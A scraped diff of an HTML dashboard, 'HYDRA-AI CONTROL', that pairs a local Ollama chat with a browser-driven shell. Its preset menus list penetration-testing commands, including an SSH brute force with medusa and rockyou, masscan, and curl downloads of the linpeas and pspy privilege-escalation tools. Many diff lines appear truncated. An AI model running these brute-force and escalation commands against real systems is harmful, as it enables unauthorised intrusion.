|
| 727 |
if(done) break;
|
| 728 |
-
|
| 729 |
-
const
|
| 730 |
-
|
| 731 |
-
|
| 732 |
-
|
| 733 |
-
const d=JSON.parse(line);
|
| 734 |
-
const token=d.message?.content||'';
|
| 735 |
-
fullText+=token;
|
| 736 |
-
bubble.textContent=fullText;
|
| 737 |
-
document.getElementById('chat-messages').scrollTop=9999;
|
| 738 |
-
if(d.done) break;
|
| 739 |
-
}catch(e){}
|
| 740 |
-
}
|
| 741 |
}
|
|
|
|
| 742 |
bubble.classList.remove('streaming');
|
| 743 |
-
|
| 744 |
-
|
| 745 |
-
|
| 746 |
-
bubble.textContent='Error: '+e.message;
|
| 747 |
bubble.classList.remove('streaming');
|
| 748 |
-
bubble.style.color='var(--
|
| 749 |
log('Chat error: '+e.message,'error');
|
|
|
|
| 750 |
}
|
|
|
|
| 751 |
document.getElementById('send-btn').disabled=false;
|
| 752 |
input.focus();
|
| 753 |
}
|
| 754 |
|
| 755 |
-
|
| 756 |
-
|
| 757 |
-
|
| 758 |
-
if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendChat();}
|
| 759 |
-
});
|
| 760 |
-
chatInput.addEventListener('input',function(){
|
| 761 |
-
this.style.height='auto';
|
| 762 |
-
this.style.height=Math.min(this.scrollHeight,120)+'px';
|
| 763 |
-
});
|
| 764 |
|
| 765 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 766 |
-
//
|
| 767 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 768 |
-
function clearShell(){
|
| 769 |
-
document.getElementById('shell-output').innerHTML='<div class="shell-empty-msg">// cleared</div>';
|
| 770 |
-
}
|
| 771 |
|
| 772 |
-
function
|
| 773 |
-
document.getElementById('shell-input').value=cmd;
|
| 774 |
-
document.getElementById('shell-input').focus();
|
| 775 |
-
}
|
| 776 |
|
| 777 |
-
function
|
| 778 |
-
const out=document.getElementById('shell-
|
| 779 |
-
|
| 780 |
-
const
|
| 781 |
-
if(
|
| 782 |
-
|
| 783 |
-
|
| 784 |
-
line.textContent=text;
|
| 785 |
-
out.appendChild(line);
|
| 786 |
out.scrollTop=out.scrollHeight;
|
| 787 |
-
return line;
|
| 788 |
}
|
| 789 |
|
| 790 |
async function runShell(){
|
| 791 |
-
const
|
| 792 |
-
const cmd=
|
| 793 |
if(!cmd||shellRunning) return;
|
| 794 |
|
| 795 |
-
|
| 796 |
-
|
| 797 |
-
input.value='';
|
| 798 |
-
|
| 799 |
shellRunning=true;
|
| 800 |
-
|
| 801 |
document.getElementById('run-btn').disabled=true;
|
| 802 |
-
document.getElementById('kill-btn').classList.add('
|
| 803 |
|
| 804 |
-
|
| 805 |
-
log(
|
| 806 |
|
| 807 |
-
try
|
| 808 |
const r=await fetch(`${BASE}/shell`,{
|
| 809 |
method:'POST',
|
| 810 |
headers:{'Content-Type':'application/json'},
|
| 811 |
body:JSON.stringify({cmd}),
|
| 812 |
-
signal:
|
| 813 |
});
|
| 814 |
-
|
| 815 |
const reader=r.body.getReader();
|
| 816 |
const dec=new TextDecoder();
|
| 817 |
let buf='';
|
| 818 |
-
|
| 819 |
while(true){
|
| 820 |
const {done,value}=await reader.read();
|
| 821 |
if(done) break;
|
| 822 |
buf+=dec.decode(value,{stream:true});
|
| 823 |
-
|
| 824 |
-
const lines
|
| 825 |
-
buf=lines.pop(); // keep partial line
|
| 826 |
-
for(const line of lines){
|
| 827 |
-
appendShellLine(line);
|
| 828 |
-
}
|
| 829 |
}
|
| 830 |
-
if(buf)
|
| 831 |
-
|
| 832 |
-
log('Shell done','
|
| 833 |
-
}
|
| 834 |
if(e.name!=='AbortError'){
|
| 835 |
-
|
| 836 |
log('Shell error: '+e.message,'error');
|
| 837 |
-
}
|
| 838 |
-
|
| 839 |
}
|
| 840 |
}
|
| 841 |
|
| 842 |
-
shellRunning=false;
|
| 843 |
-
shellController=null;
|
| 844 |
document.getElementById('run-btn').disabled=false;
|
| 845 |
-
document.getElementById('kill-btn').classList.remove('
|
| 846 |
-
|
| 847 |
}
|
| 848 |
|
| 849 |
function killShell(){
|
| 850 |
-
if(
|
| 851 |
-
shellController.abort();
|
| 852 |
-
toast('Process killed','error');
|
| 853 |
-
log('Shell process killed','warn');
|
| 854 |
-
}
|
| 855 |
}
|
| 856 |
|
| 857 |
-
|
| 858 |
-
document.getElementById('shell-input').addEventListener('keydown',e=>{
|
| 859 |
if(e.key==='Enter'){runShell();return;}
|
| 860 |
-
if(e.key==='ArrowUp'){
|
| 861 |
-
|
| 862 |
-
if(shellHistoryIdx<shellHistory.length-1){
|
| 863 |
-
shellHistoryIdx++;
|
| 864 |
-
e.target.value=shellHistory[shellHistoryIdx]||'';
|
| 865 |
-
}
|
| 866 |
-
}
|
| 867 |
-
if(e.key==='ArrowDown'){
|
| 868 |
-
e.preventDefault();
|
| 869 |
-
if(shellHistoryIdx>0){shellHistoryIdx--;e.target.value=shellHistory[shellHistoryIdx]||'';}
|
| 870 |
-
else{shellHistoryIdx=-1;e.target.value='';}
|
| 871 |
-
}
|
| 872 |
});
|
| 873 |
|
| 874 |
-
// βββββββββββββββββββββββββββββββββββββββββββ
|
| 875 |
-
|
| 876 |
-
|
| 877 |
-
|
| 878 |
-
|
| 879 |
-
{
|
| 880 |
-
{
|
| 881 |
-
{
|
| 882 |
-
{
|
| 883 |
-
{
|
| 884 |
-
{
|
| 885 |
-
{
|
| 886 |
-
{
|
| 887 |
-
{
|
| 888 |
-
{
|
| 889 |
-
{label:'cpu info', cmd:'lscpu | head -20'},
|
| 890 |
-
{label:'env', cmd:'env | sort'},
|
| 891 |
-
{label:'uptime', cmd:'uptime'},
|
| 892 |
-
{label:'whoami', cmd:'whoami && id'},
|
| 893 |
-
{label:'installed tools', cmd:'dpkg -l | grep -E "nmap|hydra|sqlmap|metasploit|john|aircrack|nikto|dirb|gobuster|wfuzz" | awk '{print $2, $3}''},
|
| 894 |
],
|
| 895 |
-
recon:
|
| 896 |
-
{
|
| 897 |
-
{
|
| 898 |
-
{
|
| 899 |
-
{
|
| 900 |
-
{
|
| 901 |
-
{
|
| 902 |
-
{
|
| 903 |
-
{
|
| 904 |
-
{
|
| 905 |
-
{
|
| 906 |
-
{
|
| 907 |
-
{label:'dig full', cmd:'dig TARGET_DOMAIN ANY +noall +answer'},
|
| 908 |
-
{label:'recon-ng start', cmd:'recon-ng'},
|
| 909 |
-
{label:'shodan search', cmd:'echo "Visit https://shodan.io for TARGET_DOMAIN"'},
|
| 910 |
],
|
| 911 |
-
web:
|
| 912 |
-
{
|
| 913 |
-
{
|
| 914 |
-
{
|
| 915 |
-
{
|
| 916 |
-
{
|
| 917 |
-
{
|
| 918 |
-
{
|
| 919 |
-
{
|
| 920 |
-
{
|
| 921 |
-
{
|
| 922 |
-
{label:'wordlists ls', cmd:'ls /usr/share/wordlists/'},
|
| 923 |
-
{label:'seclists', cmd:'ls /usr/share/wordlists/seclists/ 2>/dev/null || echo "Not installed"'},
|
| 924 |
],
|
| 925 |
-
network:
|
| 926 |
-
{
|
| 927 |
-
{
|
| 928 |
-
{
|
| 929 |
-
{
|
| 930 |
-
{
|
| 931 |
-
{
|
| 932 |
-
{
|
| 933 |
-
{
|
| 934 |
-
{
|
| 935 |
-
{label:'tshark capture', cmd:'tshark -i any -c 50'},
|
| 936 |
-
{label:'traceroute', cmd:'traceroute TARGET_IP'},
|
| 937 |
-
{label:'netdiscover', cmd:'netdiscover -r 192.168.1.0/24 -P 2>/dev/null | head -30'},
|
| 938 |
-
{label:'masscan', cmd:'masscan -p1-65535 TARGET_IP --rate=1000 2>/dev/null || echo "Install: apt install masscan"'},
|
| 939 |
],
|
| 940 |
-
exploit:
|
| 941 |
-
{
|
| 942 |
-
{
|
| 943 |
-
{
|
| 944 |
-
{
|
| 945 |
-
{
|
| 946 |
-
{
|
| 947 |
-
{
|
| 948 |
-
{
|
| 949 |
-
{
|
| 950 |
-
{label:'linpeas dl', cmd:'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && echo Done'},
|
| 951 |
-
{label:'pspy dl', cmd:'curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64 && echo Done'},
|
| 952 |
-
{label:'suid bins', cmd:'find / -perm -u=s -type f 2>/dev/null'},
|
| 953 |
-
{label:'sudo -l', cmd:'sudo -l 2>/dev/null'},
|
| 954 |
-
{label:'crontab', cmd:'cat /etc/crontab && ls /etc/cron*'},
|
| 955 |
],
|
| 956 |
-
password:
|
| 957 |
-
{
|
| 958 |
-
{
|
| 959 |
-
{
|
| 960 |
-
{
|
| 961 |
-
{
|
| 962 |
-
{
|
| 963 |
-
{
|
| 964 |
-
{
|
| 965 |
-
{label:'medusa ssh', cmd:'medusa -h TARGET_IP -u root -P /usr/share/wordlists/rockyou.txt -M ssh'},
|
| 966 |
-
{label:'crunch wordlist', cmd:'crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o /tmp/custom.txt'},
|
| 967 |
-
{label:'rockyou.txt', cmd:'ls -lh /usr/share/wordlists/rockyou.txt* && gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo done'},
|
| 968 |
-
{label:'identify hash', cmd:'echo "PASTE_HASH_HERE" | hash-identifier 2>/dev/null || echo "Tool: haiti, hashid"'},
|
| 969 |
],
|
| 970 |
-
forensics:
|
| 971 |
-
{
|
| 972 |
-
{
|
| 973 |
-
{
|
| 974 |
-
{
|
| 975 |
-
{
|
| 976 |
-
{
|
| 977 |
-
{
|
| 978 |
-
{
|
| 979 |
-
{
|
| 980 |
-
{
|
| 981 |
-
{label:'tcpdump read', cmd:'tcpdump -r /tmp/TARGET.pcap | head -30'},
|
| 982 |
-
{label:'tshark read', cmd:'tshark -r /tmp/TARGET.pcap | head -30'},
|
| 983 |
-
{label:'ls /proc', cmd:'ls /proc/'},
|
| 984 |
-
{label:'dmesg', cmd:'dmesg | tail -30'},
|
| 985 |
],
|
| 986 |
-
ollama:
|
| 987 |
-
{
|
| 988 |
-
{
|
| 989 |
-
{
|
| 990 |
-
{
|
| 991 |
-
{
|
| 992 |
-
{
|
| 993 |
-
{
|
| 994 |
-
{
|
| 995 |
-
{
|
| 996 |
-
{
|
| 997 |
-
{label:'gpu info', cmd:'nvidia-smi 2>/dev/null || echo "No GPU / nvidia-smi not found"'},
|
| 998 |
-
{label:'disk usage', cmd:'du -sh ~/.ollama/models/ 2>/dev/null'},
|
| 999 |
-
{label:'api health', cmd:'curl -s http://localhost:11434/ && echo'},
|
| 1000 |
],
|
| 1001 |
};
|
| 1002 |
|
| 1003 |
-
|
| 1004 |
-
|
| 1005 |
-
document.querySelectorAll('.cat-tab').forEach(b=>b.classList.remove('active'));
|
| 1006 |
btn.classList.add('active');
|
| 1007 |
-
|
| 1008 |
-
renderQuickCmds(cat);
|
| 1009 |
}
|
| 1010 |
-
function
|
| 1011 |
-
const cmds
|
| 1012 |
-
|
| 1013 |
-
|
| 1014 |
-
`<span class="qcmd" title="${c.cmd}" onclick="setShellCmd(${JSON.stringify(c.cmd)})">${c.label}</span>`
|
| 1015 |
-
).join('');
|
| 1016 |
}
|
| 1017 |
|
| 1018 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 1019 |
-
// INIT
|
| 1020 |
-
// βββββββββββββββββββββββββββββββββββββββββββββ
|
| 1021 |
checkStatus();
|
| 1022 |
-
setInterval(checkStatus,
|
| 1023 |
-
|
| 1024 |
</script>
|
| 1025 |
</body>
|
| 1026 |
-
</html>
|
|
|
|
| 3 |
<head>
|
| 4 |
<meta charset="UTF-8"/>
|
| 5 |
<meta name="viewport" content="width=device-width,initial-scale=1"/>
|
| 6 |
+
<title>HYDRA-AI CONTROL</title>
|
| 7 |
+
<link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Bebas+Neue&family=JetBrains+Mono:wght@300;400;700&display=swap" rel="stylesheet"/>
|
| 8 |
<style>
|
| 9 |
:root {
|
| 10 |
+
--bg: #04060a;
|
| 11 |
+
--panel: #080d14;
|
| 12 |
+
--border: #111d2e;
|
| 13 |
+
--accent: #00ff41;
|
| 14 |
+
--accent2: #ff003c;
|
| 15 |
+
--accent3: #00e5ff;
|
| 16 |
+
--text: #a8b8c8;
|
| 17 |
+
--dim: #334455;
|
| 18 |
+
--warn: #ffcc00;
|
| 19 |
+
--font-mono: 'JetBrains Mono', 'Share Tech Mono', monospace;
|
|
|
|
|
|
|
|
|
|
| 20 |
--font-head: 'Bebas Neue', sans-serif;
|
| 21 |
}
|
| 22 |
*{box-sizing:border-box;margin:0;padding:0}
|
| 23 |
+
html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--font-mono);overflow:hidden}
|
| 24 |
|
| 25 |
+
/* scanline */
|
| 26 |
+
body::before{
|
| 27 |
+
content:'';position:fixed;inset:0;pointer-events:none;z-index:9998;
|
| 28 |
+
background:repeating-linear-gradient(0deg,transparent,transparent 3px,rgba(0,255,65,.015) 3px,rgba(0,255,65,.015) 4px);
|
| 29 |
+
}
|
| 30 |
+
|
| 31 |
+
/* vignette */
|
| 32 |
body::after{
|
| 33 |
+
content:'';position:fixed;inset:0;pointer-events:none;z-index:9997;
|
| 34 |
+
background:radial-gradient(ellipse at center,transparent 60%,rgba(0,0,0,.7) 100%);
|
| 35 |
}
|
| 36 |
|
| 37 |
+
/* LAYOUT */
|
| 38 |
+
#app{display:grid;grid-template-rows:52px 1fr;height:100vh;position:relative;z-index:1}
|
| 39 |
|
| 40 |
+
/* HEADER */
|
| 41 |
header{
|
| 42 |
+
display:flex;align-items:center;gap:14px;padding:0 18px;
|
| 43 |
background:var(--panel);border-bottom:1px solid var(--border);
|
| 44 |
+
position:relative;
|
| 45 |
}
|
| 46 |
+
header::after{
|
| 47 |
content:'';position:absolute;bottom:0;left:0;right:0;height:1px;
|
| 48 |
+
background:linear-gradient(90deg,transparent 0%,var(--accent) 30%,var(--accent2) 70%,transparent 100%);
|
| 49 |
+
opacity:.6;
|
| 50 |
+
}
|
| 51 |
+
.logo{
|
| 52 |
+
font-family:var(--font-head);font-size:26px;letter-spacing:4px;
|
| 53 |
+
color:var(--accent);text-shadow:0 0 20px rgba(0,255,65,.5),0 0 40px rgba(0,255,65,.2);
|
| 54 |
+
}
|
| 55 |
+
.logo em{color:var(--accent2);font-style:normal}
|
| 56 |
+
.dot{width:7px;height:7px;border-radius:50%;background:var(--accent2);box-shadow:0 0 8px var(--accent2);animation:pulse 1.5s infinite;flex-shrink:0}
|
| 57 |
+
.dot.on{background:var(--accent);box-shadow:0 0 8px var(--accent)}
|
| 58 |
+
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.3}}
|
| 59 |
+
.status-txt{font-size:10px;color:var(--dim);letter-spacing:2px}
|
| 60 |
.spacer{flex:1}
|
| 61 |
+
.model-wrap{display:flex;align-items:center;gap:8px}
|
| 62 |
+
.model-wrap label{font-size:9px;color:var(--dim);letter-spacing:3px;text-transform:uppercase}
|
| 63 |
+
#gmodel{
|
| 64 |
+
background:rgba(0,255,65,.05);border:1px solid rgba(0,255,65,.2);color:var(--accent);
|
| 65 |
+
font-family:var(--font-mono);font-size:11px;padding:4px 8px;border-radius:2px;outline:none;cursor:pointer;
|
|
|
|
|
|
|
|
|
|
| 66 |
}
|
| 67 |
+
#gmodel:focus{border-color:var(--accent)}
|
| 68 |
+
#gmodel option{background:#0a0f14;color:var(--text)}
|
| 69 |
|
| 70 |
+
/* TABS */
|
| 71 |
+
#main{display:flex;height:100%;overflow:hidden}
|
| 72 |
.tab-nav{
|
| 73 |
+
display:flex;flex-direction:column;width:48px;background:var(--panel);
|
| 74 |
+
border-right:1px solid var(--border);padding:6px 0;gap:2px;flex-shrink:0;
|
| 75 |
}
|
| 76 |
+
.tbtn{
|
| 77 |
display:flex;flex-direction:column;align-items:center;justify-content:center;
|
| 78 |
+
gap:3px;padding:11px 4px;cursor:pointer;border:none;background:transparent;
|
| 79 |
+
color:var(--dim);font-size:7px;letter-spacing:1px;text-transform:uppercase;
|
| 80 |
+
border-left:2px solid transparent;transition:all .15s;font-family:var(--font-mono);
|
| 81 |
}
|
| 82 |
+
.tbtn svg{width:16px;height:16px;stroke:currentColor;fill:none;stroke-width:1.5}
|
| 83 |
+
.tbtn:hover{color:var(--text);background:rgba(255,255,255,.02)}
|
| 84 |
+
.tbtn.active{color:var(--accent);border-left-color:var(--accent);background:rgba(0,255,65,.04)}
|
|
|
|
| 85 |
|
| 86 |
.panels{flex:1;overflow:hidden;position:relative}
|
| 87 |
.panel{position:absolute;inset:0;display:none;flex-direction:column}
|
| 88 |
.panel.active{display:flex}
|
| 89 |
|
| 90 |
+
/* PANEL HEADER */
|
| 91 |
+
.ph{
|
| 92 |
+
padding:10px 16px;border-bottom:1px solid var(--border);
|
| 93 |
+
display:flex;align-items:center;gap:10px;flex-shrink:0;background:var(--panel);
|
| 94 |
}
|
| 95 |
+
.ph-title{font-family:var(--font-head);font-size:18px;letter-spacing:3px;color:var(--text)}
|
| 96 |
+
.ph-title em{color:var(--accent);font-style:normal}
|
| 97 |
.badge{
|
| 98 |
+
font-size:8px;padding:2px 6px;border-radius:1px;letter-spacing:1px;
|
| 99 |
+
background:rgba(0,255,65,.08);border:1px solid rgba(0,255,65,.2);color:var(--accent);
|
| 100 |
}
|
| 101 |
+
.badge.red{background:rgba(255,0,60,.08);border-color:rgba(255,0,60,.3);color:var(--accent2)}
|
| 102 |
|
| 103 |
+
/* ββ CHAT ββ */
|
| 104 |
+
#chat-msgs{
|
| 105 |
+
flex:1;overflow-y:auto;padding:14px;display:flex;flex-direction:column;gap:10px;
|
|
|
|
|
|
|
| 106 |
}
|
| 107 |
+
#chat-msgs::-webkit-scrollbar{width:3px}
|
| 108 |
+
#chat-msgs::-webkit-scrollbar-thumb{background:var(--border)}
|
| 109 |
|
| 110 |
+
.msg{display:flex;gap:8px;max-width:88%;animation:fadeUp .2s ease}
|
| 111 |
+
@keyframes fadeUp{from{opacity:0;transform:translateY(5px)}to{opacity:1;transform:none}}
|
| 112 |
.msg.user{align-self:flex-end;flex-direction:row-reverse}
|
| 113 |
+
.av{
|
| 114 |
+
width:26px;height:26px;border-radius:2px;display:flex;align-items:center;
|
| 115 |
+
justify-content:center;font-size:9px;font-weight:700;flex-shrink:0;margin-top:2px;
|
| 116 |
+
font-family:var(--font-head);letter-spacing:1px;
|
| 117 |
+
}
|
| 118 |
+
.msg.user .av{background:rgba(255,0,60,.15);border:1px solid rgba(255,0,60,.3);color:var(--accent2)}
|
| 119 |
+
.msg.ai .av{background:rgba(0,255,65,.08);border:1px solid rgba(0,255,65,.2);color:var(--accent)}
|
| 120 |
+
.bubble{
|
| 121 |
+
padding:9px 13px;border-radius:3px;font-size:12px;line-height:1.65;
|
| 122 |
+
white-space:pre-wrap;word-break:break-word;
|
| 123 |
+
}
|
| 124 |
+
.msg.user .bubble{background:rgba(255,0,60,.08);border:1px solid rgba(255,0,60,.2);color:#ffaabb}
|
| 125 |
+
.msg.ai .bubble{background:rgba(0,255,65,.04);border:1px solid rgba(0,255,65,.12);color:var(--text)}
|
| 126 |
+
.msg.ai .bubble.streaming::after{content:'β';animation:blink .5s step-end infinite;color:var(--accent)}
|
|
|
|
| 127 |
@keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
|
| 128 |
+
.mtime{font-size:8px;color:var(--dim);margin-top:3px}
|
| 129 |
|
| 130 |
.chat-empty{
|
| 131 |
+
flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:6px;
|
| 132 |
+
}
|
| 133 |
+
.chat-empty .big{
|
| 134 |
+
font-family:var(--font-head);font-size:64px;letter-spacing:6px;
|
| 135 |
+
color:transparent;-webkit-text-stroke:1px rgba(0,255,65,.15);
|
| 136 |
+
text-shadow:0 0 60px rgba(0,255,65,.05);
|
| 137 |
}
|
| 138 |
+
.chat-empty .sub{font-size:10px;color:var(--dim);letter-spacing:3px}
|
| 139 |
|
| 140 |
+
#chat-bar{
|
| 141 |
+
padding:10px 14px;border-top:1px solid var(--border);
|
| 142 |
display:flex;gap:8px;align-items:flex-end;background:var(--panel);
|
| 143 |
}
|
| 144 |
+
#chat-in{
|
| 145 |
+
flex:1;background:#060b10;border:1px solid var(--border);color:var(--text);
|
| 146 |
+
font-family:var(--font-mono);font-size:12px;padding:9px 11px;border-radius:3px;
|
| 147 |
+
outline:none;resize:none;max-height:120px;min-height:38px;line-height:1.5;
|
| 148 |
+
transition:border-color .15s;
|
| 149 |
}
|
| 150 |
+
#chat-in:focus{border-color:rgba(0,255,65,.3)}
|
| 151 |
+
#chat-in::placeholder{color:var(--dim)}
|
| 152 |
.send-btn{
|
| 153 |
+
background:var(--accent);color:#000;border:none;padding:9px 15px;height:38px;
|
| 154 |
+
border-radius:3px;cursor:pointer;font-family:var(--font-head);font-size:13px;
|
| 155 |
+
letter-spacing:2px;transition:all .2s;flex-shrink:0;display:flex;align-items:center;gap:5px;
|
|
|
|
| 156 |
}
|
| 157 |
+
.send-btn:hover{box-shadow:0 0 20px rgba(0,255,65,.4)}
|
| 158 |
.send-btn:disabled{background:var(--border);color:var(--dim);cursor:not-allowed;box-shadow:none}
|
| 159 |
+
.send-btn svg{width:13px;height:13px;stroke:currentColor;fill:none;stroke-width:2}
|
| 160 |
|
| 161 |
+
/* ββ SHELL ββ */
|
| 162 |
+
#shell-panel{background:#030508}
|
| 163 |
+
.shell-cats{
|
| 164 |
+
display:flex;overflow-x:auto;border-bottom:1px solid var(--border);flex-shrink:0;
|
| 165 |
+
background:rgba(0,0,0,.3);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 166 |
}
|
| 167 |
+
.shell-cats::-webkit-scrollbar{height:2px}
|
| 168 |
+
.cat-btn{
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 169 |
background:transparent;border:none;border-bottom:2px solid transparent;
|
| 170 |
+
color:var(--dim);font-family:var(--font-mono);font-size:9px;
|
| 171 |
+
padding:7px 12px;cursor:pointer;white-space:nowrap;transition:all .15s;letter-spacing:.5px;
|
|
|
|
| 172 |
}
|
| 173 |
+
.cat-btn:hover{color:var(--text);background:rgba(255,255,255,.02)}
|
| 174 |
+
.cat-btn.active{color:var(--accent);border-bottom-color:var(--accent);background:rgba(0,255,65,.04)}
|
| 175 |
|
| 176 |
+
.qcmds{
|
| 177 |
+
display:flex;gap:5px;padding:5px 14px;border-bottom:1px solid var(--border);
|
| 178 |
+
flex-wrap:wrap;flex-shrink:0;background:#030508;min-height:32px;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 179 |
}
|
| 180 |
+
.qc{
|
| 181 |
+
font-family:var(--font-mono);font-size:9px;padding:3px 7px;
|
| 182 |
+
background:rgba(0,255,65,.04);border:1px solid rgba(0,255,65,.15);
|
| 183 |
+
color:rgba(0,255,65,.6);border-radius:1px;cursor:pointer;transition:all .12s;white-space:nowrap;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 184 |
}
|
| 185 |
+
.qc:hover{background:rgba(0,255,65,.12);color:var(--accent)}
|
| 186 |
+
|
| 187 |
+
.shell-bar{
|
| 188 |
+
padding:7px 14px;border-bottom:1px solid var(--border);
|
| 189 |
+
display:flex;gap:7px;align-items:center;background:var(--panel);flex-shrink:0;
|
|
|
|
|
|
|
|
|
|
| 190 |
}
|
| 191 |
+
.shell-in-wrap{
|
| 192 |
+
flex:1;display:flex;align-items:center;gap:7px;
|
| 193 |
+
background:#030810;border:1px solid var(--border);border-radius:2px;padding:0 10px;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 194 |
}
|
| 195 |
+
.sprmt{color:var(--accent);font-size:12px;user-select:none}
|
| 196 |
+
#shell-in{
|
| 197 |
+
flex:1;background:transparent;border:none;outline:none;
|
| 198 |
+
color:#b0ffb0;font-family:var(--font-mono);font-size:12px;padding:7px 0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 199 |
}
|
| 200 |
+
#shell-in::placeholder{color:var(--dim)}
|
| 201 |
+
.run-btn,.kill-btn{
|
| 202 |
+
border:none;padding:6px 13px;border-radius:2px;cursor:pointer;
|
| 203 |
+
font-family:var(--font-head);font-size:12px;letter-spacing:1px;transition:all .2s;
|
| 204 |
+
}
|
| 205 |
+
.run-btn{background:var(--accent);color:#000}
|
| 206 |
+
.run-btn:hover{box-shadow:0 0 14px rgba(0,255,65,.5)}
|
| 207 |
+
.run-btn:disabled{background:#0a1a0a;color:#1a3a1a;cursor:not-allowed}
|
| 208 |
+
.kill-btn{background:var(--accent2);color:#fff;display:none}
|
| 209 |
+
.kill-btn.show{display:block}
|
| 210 |
+
.kill-btn:hover{box-shadow:0 0 14px rgba(255,0,60,.5)}
|
| 211 |
+
|
| 212 |
+
#shell-out{
|
| 213 |
+
flex:1;overflow-y:auto;padding:12px 16px;
|
| 214 |
+
font-family:var(--font-mono);font-size:12px;line-height:1.7;
|
| 215 |
+
color:#7aff7a;word-break:break-all;
|
| 216 |
+
}
|
| 217 |
+
#shell-out::-webkit-scrollbar{width:3px}
|
| 218 |
+
#shell-out::-webkit-scrollbar-thumb{background:var(--border)}
|
| 219 |
+
.s-echo{color:var(--accent3);margin:5px 0 2px}
|
| 220 |
+
.s-exit0{color:var(--accent);font-size:10px;margin-top:3px;opacity:.7}
|
| 221 |
+
.s-exit1{color:var(--accent2);font-size:10px;margin-top:3px}
|
| 222 |
+
.s-empty{color:var(--dim);text-align:center;margin-top:60px;font-size:11px;letter-spacing:2px}
|
| 223 |
+
|
| 224 |
+
/* ββ MODELS ββ */
|
| 225 |
+
#models-panel{background:var(--bg)}
|
| 226 |
+
.models-body{flex:1;overflow-y:auto;padding:14px;display:flex;flex-direction:column;gap:12px}
|
| 227 |
+
.pull-box{background:var(--panel);border:1px solid var(--border);border-radius:3px;padding:14px}
|
| 228 |
+
.pull-box-title{font-size:9px;color:var(--dim);letter-spacing:3px;margin-bottom:10px}
|
| 229 |
+
.pull-row{display:flex;gap:7px;flex-wrap:wrap}
|
| 230 |
+
#pull-in{
|
| 231 |
+
flex:1;min-width:180px;background:#060b10;border:1px solid var(--border);color:var(--text);
|
| 232 |
+
font-family:var(--font-mono);font-size:11px;padding:7px 10px;border-radius:2px;outline:none;
|
| 233 |
+
}
|
| 234 |
+
#pull-in:focus{border-color:rgba(0,255,65,.3)}
|
| 235 |
+
#pull-in::placeholder{color:var(--dim)}
|
| 236 |
+
.abtn{
|
| 237 |
+
border:none;padding:7px 14px;border-radius:2px;cursor:pointer;
|
| 238 |
+
font-family:var(--font-head);font-size:12px;letter-spacing:1px;transition:all .2s;
|
| 239 |
+
}
|
| 240 |
+
.abtn.p{background:var(--accent);color:#000}
|
| 241 |
+
.abtn.p:hover{box-shadow:0 0 12px rgba(0,255,65,.4)}
|
| 242 |
+
.abtn.s{background:var(--border);color:var(--text)}
|
| 243 |
+
.abtn.s:hover{background:#1a2535}
|
| 244 |
+
.popular{display:flex;gap:5px;flex-wrap:wrap;margin-top:8px}
|
| 245 |
+
|
| 246 |
+
.prog-box{background:var(--panel);border:1px solid var(--border);border-radius:3px;padding:14px;display:none}
|
| 247 |
+
.prog-box.show{display:block}
|
| 248 |
+
.prog-lbl{font-size:10px;color:var(--dim);margin-bottom:7px}
|
| 249 |
+
.prog-track{background:#060b10;border-radius:1px;height:3px;overflow:hidden}
|
| 250 |
+
.prog-fill{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent3));width:0%;transition:width .3s}
|
| 251 |
+
.prog-stat{font-size:10px;color:var(--accent);margin-top:5px}
|
| 252 |
+
|
| 253 |
+
.mgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(270px,1fr));gap:9px}
|
| 254 |
+
.mcard{
|
| 255 |
+
background:var(--panel);border:1px solid var(--border);border-radius:3px;
|
| 256 |
+
padding:13px;transition:border-color .15s;
|
| 257 |
+
}
|
| 258 |
+
.mcard:hover{border-color:rgba(0,255,65,.25)}
|
| 259 |
+
.mcard.active{border-color:var(--accent);background:rgba(0,255,65,.03)}
|
| 260 |
+
.mname{font-size:12px;color:var(--accent);margin-bottom:4px;font-family:var(--font-mono)}
|
| 261 |
+
.mmeta{font-size:10px;color:var(--dim);display:flex;gap:10px;flex-wrap:wrap}
|
| 262 |
+
.mbtns{margin-top:9px;display:flex;gap:5px}
|
| 263 |
+
.mbtn{
|
| 264 |
+
font-size:9px;padding:4px 9px;border-radius:1px;border:none;cursor:pointer;
|
| 265 |
+
font-family:var(--font-head);letter-spacing:1px;transition:all .15s;
|
| 266 |
}
|
| 267 |
+
.mbtn.u{background:rgba(0,255,65,.12);color:var(--accent);border:1px solid rgba(0,255,65,.25)}
|
| 268 |
+
.mbtn.u:hover{background:rgba(0,255,65,.22)}
|
| 269 |
+
